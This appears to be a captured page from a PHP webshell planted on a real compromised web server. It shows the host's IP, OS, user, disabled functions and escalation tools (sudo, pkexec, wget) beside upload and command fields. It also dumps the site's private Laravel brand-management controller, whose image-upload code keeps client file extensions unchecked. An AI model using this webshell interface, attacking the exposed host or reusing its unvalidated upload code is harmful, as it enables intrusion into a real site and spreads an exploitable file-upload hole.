403Webshell
Server IP : 103.161.17.216  /  Your IP : 216.73.216.1
Web Server : nginx/1.18.0
System : Linux tipsysaigoncharming 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/emwin.vn/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/emwin.vn/app/Http/Controllers/BrandProduct.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use DB;
use App\Models\Brand;
use App\Http\Requests;
use Session;
use Illuminate\Support\Facades\Redirect; 
use App\Http\Controllers\Controller;
session_start();


class BrandProduct extends Controller
{     
     public function AuthLogin() {
        $admin_id=session::get('admin_id');
        if($admin_id){
            return Redirect::to('dashboard');
        }
        else{
        return Redirect::to('admin')->send();
        }
    }

    public function add_brand_product(){
    $this->AuthLogin();
        return view('admin.brand.add_brand_product');
    }
        

        public function all_brand_product(){

        $all_brand_product=Brand::orderby('brand_id','DESC')->get(); //thông qua model   
        //$all_brand_product=Brand::orderby('brand_id','DESC')->paginate(3); phân trang 
        //$all_brand_product=Brand::orderby('brand_id','DESC')->take(3)->get(); // take (3) lấy 3 
        // $all_brand_product= DB::table('tbl_brand')->get();// trực tiếp trên cotroller
       // $manager_brand_product = view('admin.all_brand_product')->with('all_brand_product',$all_brand_product);

        return view('admin.brand.all_brand_product')->with(compact('all_brand_product'));


    }
        public function save_brand_product(Request $Request){
        $this->AuthLogin();
        $data=$Request->all();
        $brand=new Brand();
        $brand->brand_name=$data['brand_product_name']; 
        $brand->slug_brand_product=$data['slug_brand_product'];
        $brand->brand_desc=$data['brand_product_desc'];
        $brand->brand_status=$data['brand_product_status'];
        $brand->meta_keywords=$data['brand_product_keywords'];
        $get_image=$Request->file('brand_image');
        if ($get_image){
        $get_name_image = $get_image->getClientOriginalName(); //lay ten của hình ảnh
        $name_image = current(explode('.',$get_name_image));
        $new_image =  $name_image.rand(0,99).'.'.$get_image->getClientOriginalExtension();
        $get_image->move('public/uploads/product',$new_image);
        $brand->brand_image =$new_image;
        $brand->save();
        Session::put('message', 'Thêm thành công');
        return Redirect::to('/all-brand-product'); 
    }
    
}
        public function unactive_brand_product($brand_product_id){
        $this->AuthLogin();
DB::table('tbl_brand')->where('brand_id',$brand_product_id)->update(['brand_status'=>1]);
Session::put('message', 'Không kích hoạt thành công trạng thái');
        return Redirect::to('/all-brand-product');
    }
        public function active_brand_product($brand_product_id){
        $this->AuthLogin();    

    DB::table('tbl_brand')->where('brand_id',$brand_product_id)->update(['brand_status'=>0]);
Session::put('message', 'Không kích hoạt thành công trạng thái');
        return Redirect::to('/all-brand-product');
    }

      public function edit_brand_product($brand_id){
      $this->AuthLogin();
     //$edit_brand_product= DB::table('tbl_brand')->where('brand_id',$brand_product_id)->get();
     $edit_brand_product=Brand::where('brand_id',$brand_id)->get();
    //  $manager_brand_product = view('admin.brand.edit_brand_product')->with('edit_brand_product',$edit_brand_product);
    // return view('admin_layout')->with('admin.brand.edit_brand_product', $manager_brand_product);
     return view('admin.brand.edit_brand_product')->with(compact('edit_brand_product'));
    } 
    public function update_brand_product(Request $Request, $brand_product_id){
    $this->AuthLogin();

        $data=$Request->all();
        $brand=Brand::find($brand_product_id);
        $brand->brand_name=$data['brand_product_name']; 
        $brand->slug_brand_product=$data['slug_brand_product'];
        $brand->brand_desc=$data['brand_product_desc'];
        $brand->meta_keywords=$data['brand_product_keywords'];

        $get_image= $Request->file('brand_image');
        if ($get_image){
        $get_name_image = $get_image->getClientOriginalName(); //lay ten của hình ảnh
        $name_image = current(explode('.',$get_name_image));
        $new_image =  $name_image.rand(0,99).'.'.$get_image->getClientOriginalExtension();
        $get_image->move('public/uploads/product',$new_image);
        $brand->brand_image =$new_image;
        $brand->update();
        // $data=array();
        // $data['brand_name']=$Request->brand_product_name;
        // $data['brand_desc']=$Request->brand_product_desc;
        // $data['slug_brand_product']=$Request->slug_brand_product;
        // $data['meta_keywords']=$Request->brand_product_keywords;  
        // DB::table('tbl_brand')->where('brand_id',$brand_product_id)->update($data);
        Session::put('message', 'cập nhật thành công');
        return Redirect::to('/all-brand-product');
    }
    }   
     public function delete_brand_product($brand_product_id) {
    $this->AuthLogin();
    $brand=Brand::find($brand_product_id); 
    // DB::table('tbl_brand')->where('brand_id',$brand_product_id)->delete();
    unlink('public/uploads/product/'.$brand->brand_image);
    $brand->delete();
        Session::put('message', 'xóa thành thành công');
        return Redirect::to('/all-brand-product');
     }    
     //and admin function 
     //(lấy dữ liệu cho trang hiễn thị sản phẩm theo thương hiệu)
      public function show_brand_home(Request $request, $slug_brand_product) {
    $cate_product=DB::table('tbl_category_product')->where('category_status','1')->orderby('category_id','desc')->get();
    $brand_product=DB::table('tbl_brand')->where('brand_status','1')->orderby('brand_id','desc')->get();
    $brand_by_id=DB::table('tbl_product')->where('product_status','1')->join('tbl_brand','tbl_product.brand_id','=','tbl_brand.brand_id')->where('tbl_brand.slug_brand_product',$slug_brand_product)->get();

    $meta_desc=collect();
    $meta_keywords=collect();
    $meta_title=collect();
    $url_canonical=collect();  
    foreach ($brand_by_id as $key => $val) {
        $meta_desc=$val->brand_desc;
        $meta_keywords=$val->meta_keywords;
        $meta_title=$val->brand_name;
        $url_canonical= $request->url();
    }
    

    $brand_name= DB::table('tbl_brand')->where('tbl_brand.slug_brand_product',$slug_brand_product)->limit(1)->get();
        // return view('pages.brand.show_brand')->with('category',$cate_product)->with('brand',$brand_product)->with('brand_by_id',$brand_by_id)->with('brand_name',$brand_name);
        return view('pages.brand.show_brand')->with(compact('cate_product','brand_product','brand_by_id','brand_name','meta_keywords','meta_desc','meta_title','url_canonical')); 
;

    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit